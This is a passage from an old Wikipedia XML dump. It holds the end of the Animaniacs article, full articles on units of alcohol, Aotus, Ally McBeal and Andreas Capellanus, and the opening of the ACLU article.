* [[Thaddeus Plotz]] - the height-impaired [[CEO]] of the Warner Bros. Studios cartoon enterprise, voiced by [[Frank Welker]]
* [[Hello Nurse]] - the buxom studio nurse, voiced by Tress MacNeille, over whom Yakko and Wakko continually fawn
* [[Ralph (Animaniacs)|Ralph]] - a dim-witted Warners Studio [[security guard]] charged with recapturing the Warners and confining them to the [[water tower]]. His voice and vocal mannerisms are reminiscent of early Warner Brothers cartoon secondary characters intended to parody the character of Lennie from the film adaptations of ''[[Of Mice and Men (1939 movie)|Of Mice and Men]]''.
* [[Pinky and the Brain]] - an imbecilic white mouse and his genius companion, voiced by [[Rob Paulsen]] and [[Maurice LaMarche]]. The Brain and his environment evoke [[Orson Welles]] and ''[[Citizen Kane]]''.
* [[Slappy Squirrel]] - an aging cartoon star voiced by [[Sherri Stoner]]
* [[Skippy Squirrel]] - Slappy's young nephew, voiced by [[Nathan Ruegger]], whose chipper personality is the polar opposite of his aunt's.
* [[Goodfeathers]] - a trio of cartoon pigeons— Bobby, Squit and Pesto, voiced by Maurice LaMarche, [[John Mariano]] and [[Chick Vennera]] — spoofing characters from the movie ''[[Goodfellas]]''
* [[Rita and Runt]] - a singing cat (voiced by [[Bernadette Peters]]) and a loyal but stupid dog (voiced by Frank Welker)
* [[Buttons and Mindy]] - a heroic [[Lassie]]-like dog (voiced by Frank Welker) and the accident-prone baby (voiced by [[Nancy Cartwright (actress)|Nancy Cartwright]]) he is sworn to protect
* [[Minerva Mink]] - an incredibly sexy [[mink]], voiced by [[Julie Brown]], who inspires lustful fits in every male creature around her
* [[Katie Ka-Boom]] - a girl, voiced by [[Laura Mooney]], who has comically violent overreactions to trivially &quot;embarrassing&quot; situations in a parody of stereotypical teenage behavior, obviously modeled on the [[Incredible Hulk]]
* [[Flavio and Marita]] - also known as &quot;the Hip Hippos&quot;, a wealthy hippo couple (voiced by Frank Welker and Tress MacNeille) obsessed with being trendy
* [[Chicken Boo]] - a six-foot-tall chicken who is curiously successful at imitating humans despite minimal efforts at disguise
* [[Mr. Director]] - a caricature of [[Jerry Lewis]] (voiced by [[Paul Rugg]]) who first appears in ''Hello Nice Warners''; in later episodes he parodies [[Marlon Brando]] in ''[[Apocalypse Now]]'' and appears as a clown who scares Mr. Plotz and Wakko
* [[The Flame]] - a childlike candle flame (voiced by [[Cody Ruegger]]) who is present at important historical events such as [[Thomas Jefferson|Jefferson's]] authoring of [[Declaration of Independence (United States)|The Declaration of Independence]] and [[Henry Wadsworth Longfellow|Longfellow]]'s writing of ''The Midnight Ride of Paul Revere''
* [[Charlton Chipmunk]] - an aspiring actor/director and generally neurotic [[chipmunk]]; when people annoy him, he asks them to write their names down in a book and promises that when he becomes famous, he will remember to not like them
* [[Mr. Skullhead]] - a mute skeleton seen in short ''Good Idea/Bad Idea'' clips and a parody of [[Tim Burton]]'s ''[[Edward Scissorhands]]''. These clips were narrated by humorist and [[Motel 6]] spokesman, [[Tom Bodett]]. 
* The Mime - a nameless [[Mime_artist|mime]] who mainly appeared in brief clips; the mime would usually begin a demonstration of some miming technique (e.g. &quot;walking against the wind&quot; or &quot;trapped in a box&quot;) only to be inexplicably maimed
* Colin, also known as the Randy Beaman Kid - a wide-eyed boy who relates improbable stories that allegedly happened to his (never-seen) friend Randy Beaman
* [[Ms. Flamiel]]- the Warners' prim and easily frustated teacher. 
* [[Pip (Animaniacs)|Pip]] - generally a foil and annoyance to the Warners, endlessly shaking hands and rambling nonsensically with an iron grip.  The Warners could never seem to get their hand detached from the grip of Pip, despite the great length of sight gags they employed to remove themselves. Voiced by [[Ben Stein]].

Celebrities in &quot;Animaniacs&quot;:

* [[Steven Spielberg]] - Spielberg plays as himself - always referred to in hushed tones as simply &quot;Steven&quot; - making short cameo appearances in very few episodes with one (or two) lines.
* [[Kirk Douglas]] - Not mentioned by name - Caricatured in the role of [[Michaelangelo]] painting the [[Sistine Chapel]] ceiling, reminiscent of [[Charlton Heston]] in [[The Agony and the Ecstasy]]. Meets [[Steven Spielberg]] who is referred to as &quot;His Eminence&quot;.

== Popularity of Animaniacs==
The comedy of ''Animaniacs'' was a broad mix of old-fashioned wit, [[slapstick]], [[pop culture]] references, and cartoon wackiness.  The show also featured a number of [[education]]al segments that covered subjects from [[history]] to [[math]] to [[geography]].  These educational segments, while simplistic in nature, were at a considerably more advanced level than in such children's shows as ''[[Sesame Street]]''; in fact, most adults could probably learn something from the show's explanations of world geography, the voyage of [[Ferdinand Magellan]], or the [[Panama Canal]].

While episodes of the show did have their share of flops (the Hip Hippos especially, followed mostly by Chicken Boo and Katie Ka-Boom), a surprisingly high number of well-written, outrageously funny cartoons were aired during the series, as the new madcap Warner Bros. animators merrily poked fun at everything and everyone, including their own fans (&quot;The Please Please Pleese Get A Life Foundation&quot;, which directly took from the ''alt.tv.animaniacs'' [[FAQ]] for its material). &lt;!-- That &quot;pleese&quot; is correct here, it was spelled that way on screen. --&gt;

While the show was very popular among younger viewers (the target demographic for Warner Bros.' TV cartoons), a great deal of the show's sly, subversive humor was definitely aimed at an adult audience.  In fact, one character, Minerva Mink, was soon deemphasized as a feature character on account that her featured episodes were considered too sexually suggestive for the show's intended timeslot.  Adults responded in droves, giving the show cult-hit status and leading to one of the first [[Internet]]-based [[fandom]] cultures.  During the show's prime, the Internet newsgroup ''[news:alt.tv.animaniacs alt.tv.animaniacs]'' was an active, popular gathering place for fans of the show (most of whom were definitely adults) to discuss the latest antics of the Warner Brothers and the Warner Sister.  The online popularity of the show did not go unnoticed by the show's producers, and several of the most active participants on the newsgroup were invited to the [[Warner Bros. Animation]] studios for informal get-togethers.

== Series history ==
===Reputation and legacy===
[[Image:TTA meets YWD.jpg|right|thumb|[[Yakko, Wakko and Dot]] shake hands with their predecessors: [[Babs and Buster Bunny|Buster and Babs Bunny]] and [[Plucky Duck]] (from ''[[Tiny Toon Adventures]]'') in an episode of ''Animaniacs'']]
''Animaniacs'' premiered on [[September 13]], [[1993]].  New episodes of the show were aired during the [[1993]] through [[1998]] seasons, and episodes of the show were rerun in [[TV syndication|syndication]] for several years after production of new episodes ceased. One feature-length [[direct-to-video]] ''Animaniacs'' movie, ''[[Wakko's Wish]]'', was released on VHS only (there was no [[DVD]] release) in [[1999]].  The series was popular enough for Warner Bros. Animation to invest in additional episodes of the show past the traditional 65-episode marker for syndication; a total of 99 episodes were finally produced.  One theatrical cartoon short film starring the Warner siblings, &quot;I'm Mad,&quot; was produced and released to theaters in [[1994]] with the feature ''[[Thumbelina (film)|Thumbelina]]''.

The show introduced the popular cartoon characters [[Pinky and the Brain]], who were subsequently [[spin off|spun-off]] into their own TV series in [[1995]].

Animation fans consider ''Animaniacs'' the high point of the Warner Bros. revival of the [[1990s]] that was inspired by the original [[Termite Terrace]]. After ''Animaniacs,'' Spielberg collaborated with Warner Bros. Animation for a third time to produce the short-lived series ''[[Freakazoid]]'', along with the Animaniacs spin-off series ''[[Pinky and the Brain]]''.  Warner Bros. also produced two additional &quot;zany&quot; and &quot;madcap&quot; series in the later half of the decade entitled ''[[Histeria!]]'' (much like Animaniacs, but focusing on American history) and ''[[Detention]]'' (an animated sitcom of several quirky junior high kids trying to get out of after-school holding), but neither of these series found a sizable audience, and they were both swiftly cancelled.  Warner Bros. cut back the size of its animation studio (the high cost and relatively low profit of its animated feature films of the period also had an effect on the studio), and production on further Warner Bros. animated comedy series ceased.  ''Animaniacs'' and ''Tiny Toon Adventures'' continued to rerun in syndication through the [[1990s]] into the early [[2000s]]. In [[2005]], it was removed from the [[NickToons TV|NickToons]] network, and is not currently airing on [[TV]] in the [[U.S.]] &amp;ndash; In the [[United Kingdom]], however, it currently airs on [[Boomerang (TV channel)|Boomerang]].

An ''Animaniacs'' comic book, published by [[DC Comics]], ran from [[1995]] to [[2000]] (59 regular monthly issues, plus two specials). [[Animaniacs (video game)|Animaniacs]], the [[Computer and video games|video game]] based on the series was also made for the [[Super Nintendo Entertainment System|Super NES]] and [[Sega Genesis]].  There are new ''Animaniacs'' [[video games]] planned for release in the future on the [[Nintendo GameCube]] (''[[Animaniacs: The Great Edgar Hunt]]'') and [[Nintendo DS]] (''[[Animaniacs: Lights, Camera, Action!]]'').

An Animaniacs book called ''Dezanitized'' was produced. Apparently to take place when the Warners first escape, Dr. Scratchansniff attempts to subject the Warners to psychicatry, and thus root out the cause of the their zaniness and, as the book's title says, successfully ''dezanitize'' them. Although he meets them both as a trio and as indiviuals, Scratchansniff is unsuccessful, and in the book's final segment, is is he who is being psycho-analyzed by the Warners themselves. The book appears in a black-and-white comic strip or graphic novel format, and the [[fourth wall]] is often broken: Scratchansniff comments, when people yell at him, that &quot;the big letters&quot; hurt his ears. Wakko also splatters ink over the page, and the doctor complains that the book is messy, and now no one will want to buy it.

The series will re-run on Warner Bros. and [[AOL]]'s new broadband internet channel [[Toontopia TV]].

== The Animaniacs on DVD ==
Warner Bros. has announced ''Animaniacs'' may be released on DVD in the summer of 2006: [http://www.tvshowsondvd.com/newsitem.cfm?NewsID=4475]

==Music==
''Animaniacs'' was a very musical cartoon, with every episode featuring an original score (and in many cases, several original songs). Each group of characters had its own sub-theme in the score, and the Hip Hippos and Pinky and the Brain even had their own full [[theme song]]s.

The three Warner siblings often performed songs, including parodies of classical and folk music, often with an educational twist, listing, for example, U.S. states or American presidents. Pinky and the Brain occasionally got songs to sing as well, and the most complicated songs in the series usually went to Rita, voiced by singer [[Bernadette Peters]] (poking fun at Broadway shows in general, and [[Stephen Sondheim]]'s works in particular). Rita and Runt even took on Broadway directly with a parody of ''[[Les Misérables (musical)|Les Misérables]]'' called ''Les Miseranimals'', which aired early in the first season.

Three albums of music from the series were released: ''Animaniacs'', ‘‘Yakko’s World'', and ''Variety Pack'', and the sing-along videos, especially &quot;Yakko's World&quot;, remained some of the best selling skit compilation VHS tapes.

The final bars of the Animaniacs theme (as well as [[Bugs Bunny]] and the WB shield) are commonly used by [[Warner Bros.]] to begin various animated series.

The song ''[[Yakko's World]]'' is perhaps their most famous.

==Games==
*[[Animaniacs (video game)|Animaniacs]] for [[Super Nintendo Entertainment System|Super Nintendo]], [[Sega Genesis]], and [[Game Boy]]
*[[Animaniacs: The Great Edgar Hunt]] for [[Nintendo GameCube|GameCube]], and [[Xbox]]
''Announced'' [[Animaniacs: Lights, Camera, Action!]] for Nintendo DS

==Parodies==
''Animaniacs'' often parodied popular TV shows and movies. Some of the most frequent &quot;targets&quot; were children's television shows and action-adventure series. For example, ''Super Strong Warner Siblings'' lampooned the 90's TV series ''[[Mighty Morphin Power Rangers]]'', featuring replicas of the &quot;real&quot; show's costumes and &quot;megazord&quot;. Another parody, albeit a [[cold open]]ing rather than a full &quot;segment&quot;, depicted the ''Animaniacs'' characters as babies in a parody of the title sequence to ''[[Rugrats]]''. Popular kids' character [[Barney &amp; Friends|Barney]] was also represented as &quot;Baloney&quot;, a goofy character whose upbeat personality remained unaffected by the massive amounts of abuse to which the Warners subjected him.
Another example was the parody of ''[[Friends]]'' called &quot;Acquaintances&quot; where the character [[Chandler Bing|Chandler]] had his sarcastic putdowns horrifically enacted upon him.
''Animaniacs'' mocked an abundance of celebrities, including the likes of [[David Hasselhoff]], [[Whoopi Goldberg]], [[Howard Stern]], [[Jaleel White]], and [[Regis Philbin]]. They have also paid tributes to now-dead celebrities, such as [[Christa McAuliffe]], who was ''supposed'' to be the first [[Teacher in Space Project|teacher in space]], but tragically, she perished in the [[1986]] [[Space Shuttle Challenger disaster]]. They even made spoofs of various other disasters, such as the sinking of the ''[[Titanic]]''.

==External links==
* {{imdb title|id=0105941|title=Animaniacs}}
* [http://www.tv.com/animaniacs/show/2077/summary.html?q=Animaniacs ''Animaniacs'' at TV.com]
* [http://www2.cruzio.com/~keeper/anibeg.html Animaniacs: In the Beginning]
* [http://members.cruzio.com/~keeper/AMLF.html Animaniacs Mega Lyrics File]
* [http://www.faqs.org/faqs/tv/animaniacs/faq/ NARF - the Nifty Animaniacs Reference File]
* [http://www2.cruzio.com/~keeper/AHEM.txt Animaniacs Handy Episode Manual]
* [http://www.disinfotainmenttoday.com/darenet/animania.htm Animaniacs Scripts] by Michael Dare
* [http://www.fortunecity.com/meltingpot/armenia/1064/DOCS/TTA_A.txt Tiny Toon Adventures references in Animaniacs]
* [http://wba.toonzone.net/voice/august/animaniacs.html Jaime J. Weinman's short article on the history of Animaniacs]
* [http://travish.forumup.org//viewforum.php?f=1&amp;mforum=travish Animaniacs Message Board]
* Jaime J. Weinman's longer articles on Animaniacs: [http://zvbxrpl.blogspot.com/2004/06/animaniacs-part-1.html 1], [http://zvbxrpl.blogspot.com/2004/06/animaniacs-part-2.html 2]

[[Category:Animaniacs|*]]
[[Category:Kids WB shows]]
[[Category:1990s TV shows in the United States]]
[[Category:Animated television series]]
[[Category:Fox network shows]]
[[Category:Warner Bros. Cartoons]]
[[de:Animaniacs]]
[[es:Animaniacs]]
[[pt:Animaniacs]]</text>
    </revision>
  </page>
  <page>
    <title>Unit of alcohol</title>
    <id>1946</id>
    <revision>
      <id>38209774</id>
      <timestamp>2006-02-04T22:48:07Z</timestamp>
      <contributor>
        <username>ZeroOne</username>
        <id>88248</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Red Wine Glas.jpg|thumb|right|A glass of red wine contains about one unit of alcohol]]
In some countries a system of '''units of alcohol''' is employed for an approximate measure of the amount of [[ethanol|alcohol]] in different drinks.

== Formula ==
A unit of alcohol is equivalent to 10 [[litre|millilitre]]s (or approximately 8 [[gram]]s) of pure [[ethanol]], the active chemical ingredient in alcoholic beverages.

The number of units of alcohol in a drink can be determined by multiplying the volume of the drink (in millilitres) by its percentage [[Alcohol by volume|ABV]], and dividing by 1000. 

Thus a [[pint]] (568ml) of beer at 4%&amp;nbsp;ABV contains

&lt;math&gt;\frac{568 \times 4}{1000} = 2.3\mbox{ units}&lt;/math&gt;

== Quantities ==
As a rough guide:

*A glass of [[wine]] or [[sherry]], a single measure of [[Alcoholic beverage|spirits]] and a half pint of [[beer]] each contain about ''one unit'', or 8&amp;nbsp;g (0.25&amp;nbsp;oz) of alcohol.

*A large glass of red or white wine or half a pint of [[cider]] contains about 12g (3/8oz), or one and a half units. However strong [[lager]] may contain as much as two units per half pint.

== Limits ==
Since 1995 the UK government has advised that regular consumption of between three and four units a day for men and between two and three units a day for women would not pose significant health risks, but that consistently drinking four or more units a day (men) or three or more units a day (women) is not advisable. The difference between genders is given due to the (typically) lower weight and water-to-body-mass-ratio of women.

==See also==
*[[Standard drink]]

[[Category:Units of measure]]
[[Category:Alcohol]]</text>
    </revision>
  </page>
  <page>
    <title>Aotus</title>
    <id>1947</id>
    <revision>
      <id>15900407</id>
      <timestamp>2005-04-04T12:00:09Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''''Aotus''''' is both a plant and an animal:
*It is one of the genera for the [[Aotus (pea)|golden pea]]s in [[Fabaceae]] (bean family).
*It is the genus for the [[night monkey]]s in Aotidae.
The name means &quot;earless&quot; in both cases: the monkey is missing external [[ear]]s, and the pea is missing earlike bracteoles.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Ally McBeal</title>
    <id>1948</id>
    <revision>
      <id>41723868</id>
      <timestamp>2006-03-01T08:18:16Z</timestamp>
      <contributor>
        <username>Bookofjude</username>
        <id>94969</id>
      </contributor>
      <comment>Revert to revision 40544561 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{infobox television |
  | show_name = Ally McBeal
  | image = [[Image:mcbeal.jpg]]
  | caption = Ally McBeal Logo
  | format = [[Dramedy]]
  | runtime = 45 minutes
  | creator = [[David E. Kelley]]
  | starring = [[Calista Flockhart]]&lt;br&gt;[[Courtney Thorne-Smith]]&lt;br&gt;[[Greg Germann]]&lt;br&gt;[[Lisa Nicole Carson]]&lt;br&gt;[[Peter MacNicol]]&lt;br&gt;[[Jane Krakowski]]&lt;br&gt;[[Portia de Rossi]]&lt;br&gt;[[Lucy Liu]]&lt;br&gt;[[Gil Bellows]]&lt;br&gt;[[Barry Humphries]] (as [[Dame Edna Everage]], though uncredited)&lt;br&gt;[[Vonda Shepard]]
  | country = [[United States|USA]]
  | network = [[FOX Network|FOX]]
  | first_aired = [[September 8]], [[1997]]
  | last_aired = [[May 20]], [[2002]]
  | num_episodes = 112
}}
[[Image:Timeallymcbeal.jpg|thumb|''[[Time]]'' magazine, [[June 29]], [[1998]]. This cover depicts pioneering women [[Susan B. Anthony]], [[Betty Friedan]], and [[Gloria Steinem]] juxtaposed with McBeal and asks &quot;Is Feminism Dead?&quot;  It is an example of the debate which revolved around the show and how it depicted women's roles in American society in the 1990s.]]
'''''Ally McBeal''''' was an [[United States|American]] [[television]] [[dramedy]] created by [[David E. Kelley]], with [[Calista Flockhart]] in the title role as a young [[lawyer]] working in a [[fiction]]al [[Boston, Massachusetts|Boston]] law firm named Cage &amp; Fish, filled with similarly young lawyers whose lives and loves are highly [[melodrama]]tic. The show ran on the [[Fox Television Network|FOX]] network from [[1997]] to [[2002]].

Despite its legal environment, the show pays minimal attention to the actual practice of law.  Instead it focuses on the romantic and personal lives of the main characters, though sometimes juxtaposing legal proceedings as plot devices to contrast or reinforce a character's drama.  For example, bitter divorce litigation of a client might backdrop Ally's decision to break up with a boyfriend.

Particularly notable, the show frequently used vivid, dramatic fantasy visuals for a character's wishful thinking.  Also, regular visits to a local, idealized [[bar (establishment)|bar]] where singer and cast member [[Vonda Shepard]] regularly performed (though occasionally handing over the microphone to the characters).  Each episode generally concluded on an upbeat, hopeful note with energetic music.

''Ally McBeal'' was hugely successful, but received much criticism from TV critics and [[feminist]]s who found the title character annoying and demeaning to women because of her excessive flightiness, lack of demonstrated legal knowledge, and extreme emotional instability. Flockhart's visible loss of weight by the second season also caused much media speculation.

However, Ally's search for true love struck a chord with young female audiences, and the [[eccentricity (behaviour)|eccentric]] characters around her were developed further, giving the show firm footing.

In the fourth season, [[Robert Downey Jr.]] joined the regular cast as Ally's boyfriend Larry, resurrecting the [[ratings]] of a show that had lost its novelty and thus much of its audience. However, when Downey was forced to leave as his (real life) [[drug addiction]] caused him legal troubles, plus other central cast members such as [[Lucy Liu]] also left, the ratings sank again. Not even guest appearances from [[Matthew Perry (actor)|Matthew Perry]] and singer [[Jon Bon Jovi]] and [[Christina Ricci]] in season five were enough to save the show.

The major cast members of the show included:

*[[Calista Flockhart]]- Ally McBeal
*[[Greg Germann]] - Richard Fish
*[[Jane Krakowski]] - Elaine Vassal
*[[Gil Bellows]] - Billy Thomas (1997-2000)
*[[Lisa Nicole Carson]] - Renée Radick (1997-2001)
*[[Courtney Thorne-Smith]] - Georgia Thomas (1997-2000)
*[[Peter MacNicol]] - John Cage
*[[Vonda Shepard]] - Herself
*[[Lucy Liu]] - Ling Woo (1998-2001)
*[[Portia de Rossi]] - Nelle Porter (1998-2002)
*[[Robert Downey Jr.]] - Larry Paul (2000-2001)
*[[James LeGros]] - Mark Albert (2000-2001)
*[[Regina Hall]] - Corretta Lipp (2001-2002)
*[[Josh Hopkins]] - Raymond Milbury (2001-2002)
*[[James Marsden]] - Glenn Foy (2001-2002)
*[[Julianne Nicholson]] - Jenny Shaw (2001-2002)
*[[Barry Humphries]] (as [[Dame Edna Everage]], uncredited) - (2002)

Notable guest stars on the show included comedian [[Tracey Ullman]] as Ally's unusual [[therapy|therapist]], and singers [[Barry White]], [[Al Green (musician)|Al Green]], [[Gordon Sumner|Sting]], [[Tina Turner]], and [[Barry Manilow]] as themselves. Special musical guests included [[KC and the Sunshine Band]], [[Elton John]] and [[Josh Groban]].

Barry White's music was frequently showcased on the show as a sexual stimulant; when one of the characters mentally &quot;heard&quot; the music, other characters would be attracted. This action was often accompanied by dancing and took place in the unisex bathroom.

At the height of its popularity, re-edited half-hour versions of the show ran under the name ''Ally''.

The show is also noted by many for introducing the '[[dancing baby]]' [[computer-generated image]] (CGI) to mainstream American pop culture.

Known for controversial topics, the show was well-known for the infamous Cro-Magnon episode, whereby a well-endowed male model becomes the focus of the Ally's attentions. Some critics have claimed that this [[penis size]] obsessed view of female sexuality is distorted and reflects more of a male point of view, as the show was written by [[David E. Kelley]]. Others have charged that the ridiculing of modestly endowed men is sexist and harmful, contributing to body issues for men similar to that of young women over their weight. On that note as well, the show has been criticized for the &quot;[[Anorexia nervosa|anorexic]]&quot; main character as being a bad role model for girls. 

Due to [[music rights]] issues, Ally McBeal has not been made available on DVD in the United States, though it has been available in [[Italy]], [[Japan]] and [[UK]].

==Awards &amp; Nominations==
===Awards Won===
'''[[Emmy Awards]]:'''
* Outstanding Comedy Series (1999)
* Outstanding Supporting Actor in a Comedy Series [[Peter MacNicol]] (2001)

'''[[Golden Globe Awards]]:'''
* Best TV Series-Comedy/Musical (1998-1999)
* Best Performance by an Actress in a TV Series-Comedy/Musical [[Calista Flockhart]] (1998)
* Best Supporting Actor in a TV Series [[Robert Downey Jr.]] (2001)

'''[[Screen Actors Guild]]:'''
* Outstanding Performance by an Ensemble in a Comedy Series (1999)
* Outstanding Performance by a Male Actor in a Comedy Series [[Robert Downey Jr.]] (2001)

===Awards Nominated===
'''[[Emmy Awards]]:'''
* Outstanding Comedy Series (1998)
* Outstanding Lead Actress in a Comedy Series (1998-1999, 2001)
* Outstanding Supporting Actor in a Comedy Series [[Peter MacNicol]] (1999-2000)
* Outstanding Supporting Actress in a Comedy Series [[Lucy Liu]] (1999)

'''[[Golden Globe Awards]]:'''
* Best TV Series-Comedy/Musical (2000-2002)
* Best Performance by an Actress in a TV Series-Comedy/Musical [[Calista Flockhart]]
* Best Supporting Actress in a TV Series [[Jane Krakowski]] (1999)

'''[[Screen Actors Guild]]:'''
* Outstanding Performance by an Ensemble in a Comedy Series (1998, 2000-2001)
* Outstanding Performance by a Female Actor in a Comedy Series [[Calista Flockhart]] (1998-2001)
* Outstanding Performance by a Female Actor in a Comedy Series [[Lucy Liu]] (2000)
* Outstanding Performance by a Male Actor in a Comedy Series [[Peter MacNicol]] (1999-2001)

==External links==
''*[http://www.salon.com/ent/tv/1997/10/20ally.html Ally McBeal: Woman of the '90s or Retro Airhead]''

[[Category:Ally McBeal]]
[[Category:Comedy-drama television series]]
[[Category:David E. Kelley television programs]]
[[Category:Fox network shows]]
[[Category:Fictional lawyers|McBeal]]

[[ca:Ally McBeal]]
[[de:Ally McBeal]]
[[et:Ally McBeal]]
[[es:Ally McBeal]]
[[fr:Ally McBeal]]
[[gd:Alli Nic a' Bheoil]]
[[it:Ally McBeal]]
[[he:אלי מקביל]]
[[nl:Ally McBeal]]
[[ja:アリーmyラブ]]
[[pt:Ally McBeal]]
[[sk:Ally McBealová]]</text>
    </revision>
  </page>
  <page>
    <title>Andreas Capellanus</title>
    <id>1949</id>
    <revision>
      <id>41800134</id>
      <timestamp>2006-03-01T21:02:29Z</timestamp>
      <contributor>
        <username>Churchh</username>
        <id>391005</id>
      </contributor>
      <comment>Give little translation excerpt</comment>
      <text xml:space="preserve">'''André le Chapelain''', in Latin '''Andreas Capellanus''' (''Capellanus'' meaning &quot;chaplain&quot;), was the 12th century author of a treatise entitled ''[[De amore]]'' (''On Love''). The complete title of his three-volume work published ''c.'' 1185 reads ''Liber de arte honeste amandi et reprobatione inhonesti amantis'' (''Book of the Art of Loving Nobly and the Reprobation of Dishonourable Love'', also known as ''The Book of Courtly Love'').

Capellanus is also an important author for our understanding of mediæval education&amp;mdash;a source of much information about the [[trivium]] and [[quadrivium]] of the period.

After becoming popularized by the troubadours of southern France in the 12th Century, the social system of &quot;courtly love&quot; soon spread.  Evidence of the influence of courtly love in the culture and literature of most of Western Europe spans centuries.

The unabridged edition of The Art of Courtly Love codified life at Queens Eleanor's court at Poitiers between 1170 and 1174 (although Capellanus wrote it most likely several years later) into &quot;one of those capital works which reflect the thought of a great epoch, which explains the secret of a civilization.&quot;  This translation of a work that may be viewed as didactic, mocking, or merely descriptive, preserves the attitudes and practices that were the foundation of a long and significant tradition in English literature.

Andreas Capellanus (Andre the Chaplain) wrote this work at the request of Countess Marie of Troyes, daughter of Eleanor of Aquitaine. (As found on the reverse of The Art of Courtly Love, trans. John Jay Parry, 1960)

The work gives a listing of the stages of love which resembles in some ways the modern [[baseball euphemism]]:

:&quot;Throughout all the ages, there have been only four degrees &lt;nowiki&gt;[&lt;/nowiki&gt;''gradus''] in love:
:&quot;The first consists in arousing hope;
:&quot;The second in offering kisses;
:&quot;The third in the enjoyment of intimate embraces;
:&quot;The fourth in the abandonment of the entire person.&quot;

== External links ==
* [http://icg.harvard.edu/~chaucer/special/authors/andreas/de_amore.html Extracts from Capellanus' De amore]
* [http://www.thelatinlibrary.com/capellanus.html Full text of De Amore, in Latin] at [[The Latin Library]]

[[nl:Andreas Capellanus]]
[[Category:Medieval literature]]</text>
    </revision>
  </page>
  <page>
    <title>American Civil Liberties Union</title>
    <id>1950</id>
    <revision>
      <id>42074850</id>
      <timestamp>2006-03-03T17:26:32Z</timestamp>
      <contributor>
        <ip>68.72.166.118</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Aclu.png|right| ]]
The '''American Civil Liberties Union''', or '''ACLU''', is a [[non-governmental organization]] (NGO) whose stated goal is to &quot;defend and preserve the [[individual rights]] and [[liberty|liberties]] guaranteed to every person ... by the [[Constitution of the United States|Constitution]] and [[Law of the United States|laws]] of the [[United States]].&quot; [[Lawsuit]]s brought by the ACLU have been influential in several important developments in [[U.S. constitution]]al law, and according to the annual report has over 500,000 members as of the end of 2005. The ACLU provides [[lawyer]]s and legal expertise in cases where it believes an individual's or group of individuals' rights are being challenged by the government or other citizens.  In many cases where it does not provide legal representation, the ACLU submits ''[[amicus curiae]]'' [[brief (law)|brief]]s in support of its positions. The ACLU has never officially supported or opposed a political candidate, and is not aligned with any political party, though it has been harshly critical of various elected officials of both the [[Democratic Party (United States)|Democratic Party]] and the [[Republican Party (United States)|Republican Party]] over the years. Outside of its legal work, the organization has also engaged in [[lobbying]] of elected officials and civil liberties [[activism]] [http://action.aclu.org/site/PageServer?pagename=AP_action_homepage]. The ACLU is one of the most influential NGOs in the United States today; often controversial, its stances have engendered criticism from both sides of the political spectrum (see [[American Civil Liberties Union#Critics of the ACLU|Critics of the ACLU]]).

==History, structure and leadership==
The ACLU was originally established in 1917 as the [[National Civil Liberties Bureau]] (NCLB), an outgrowth of the [[American Union Against Militarism]], an organization that was against American intervention in [[World War I]]. The NCLB provided legal advice and aid for [[conscientious objector|conscientious objectors]] and those being prosecuted under the [[Espionage Act of 1917]] or [[Sedition Act of 1918]]. The organization was subpoenaed by the New York legislature's Joint Legislative Committee to Investigate Seditious Activities, popularly known as the [[Lusk Committee]], which considered the organization's efforts and pacifist ties to be a vehicle for socialist and communist propaganda.  The NCLB changed its name in 1920 to the American Civil Liberties Union.[http://www.aclu.org/about/index.html]

Founders include [[Crystal Eastman]], [[Albert DeSilver]] and [[Roger Nash Baldwin]] among others.

In the year of its birth, the ACLU was formed to protect aliens threatened with [[deportation]], and U.S. nationals threatened with criminal charges by [[U.S. Attorney General]] [[Alexander Mitchell Palmer]] for their [[communist]] or [[socialist]] activities and agendas (see [[Palmer Raids]]). It also opposed attacks on the rights of the [[Industrial Workers of the World]] and other [[labor union]]s to meet and organize.

In 1940, the ACLU formally barred communists from leadership or staff positions, and would take the position that it did not want communists as members either. The board declared that it was &quot;inappropriate for any person to serve on the governing committees of the Union or its staff, who is a member of any political organization which supports [[totalitarian dictatorship]] in any country, or who by his public declarations indicates his support of such a principle.&quot; [http://www.aclu-mass.org/about/about_history.html] [http://infoshare1.princeton.edu/libraries/firestone/rbsc/finding_aids/aclu1920/] The purge, which was led by Baldwin, himself a former supporter of Communism, began with the ouster of [[Elizabeth Gurley Flynn]], a member of both the [[Communist Party of the USA]] and the [[IWW]] [http://www.harvardsquarelibrary.org/unitarians/baldwin.html]. The ACLU has been criticized by some of its later members for this policy, and in the 1960s there was an internal push to remove this prohibition. [http://volokh.com/archives/archive_2005_09_04-2005_09_10.shtml#1126047007]

In the 1988 presidential election, then-[[Vice President]] [[George H.W. Bush]] called then-[[Governor]] [[Michael Dukakis]] a &quot;card-carrying member of the ACLU,&quot; which Dukakis proudly acknowledged. [http://www.pbs.org/newshour/debatingourdestiny/dod/1988-broadcast.html] It now serves as a jocular recruitment slogan for the ACLU. [http://www.aclu.org/Contribute/Contribute.cfm]

The [[September 11, 2001 attacks]], and the ensuing debate regarding the proper balance of civil liberties and security including the passage of the [[USA PATRIOT Act]], led to a 20% increase in membership between August 2001 and December 2002, when its total enrollment reached 330,000 [http://www.post-gazette.com/localnews/20021202aclusidebarp8.asp]. The growth has continued; in August 2004, ACLU membership was at 400,000 [http://www.madison.com/tct/news/images/index.php?ntid=7175&amp;ntpid=0].

The ACLU has been a vocal opponent of the PATRIOT Act of 2001, the proposed (as of 2003) [[Domestic Security Enhancement Act of 2003|PATRIOT 2]] Act, and associated legislation made in response to the threat of domestic terrorism, that it believes violates either the letter or the spirit of the [[United States Bill of Rights|U.S. Bill of Rights]]. In response to a requirement of the PATRIOT Act, the ACLU withdrew from a Federal Donation Program that provides matching funds from the federal government for federal employees. The requirement was that ACLU employees must be checked against a federal anti-terrorism watch list. The ACLU estimates that it will lose approximately $500,000 in such contributions.
''See also:'' [[ACLU v. Ashcroft (2004)]]
&lt;!--Need more here on PATRIOT Act challenges, and ACLU activities post-9/11 in general, including stats on increase in membership.--&gt;

Currently, the leadership of the ACLU includes Executive Director [[Anthony Romero]], President [[Nadine Strossen]], and Legal Director [[Steven Shapiro]].  Notably, [[Ruth Bader Ginsburg]], a current Justice of the [[Supreme Court of the United States|U.S. Supreme Court]], founded the ACLU's Women's Rights Project in 1972.

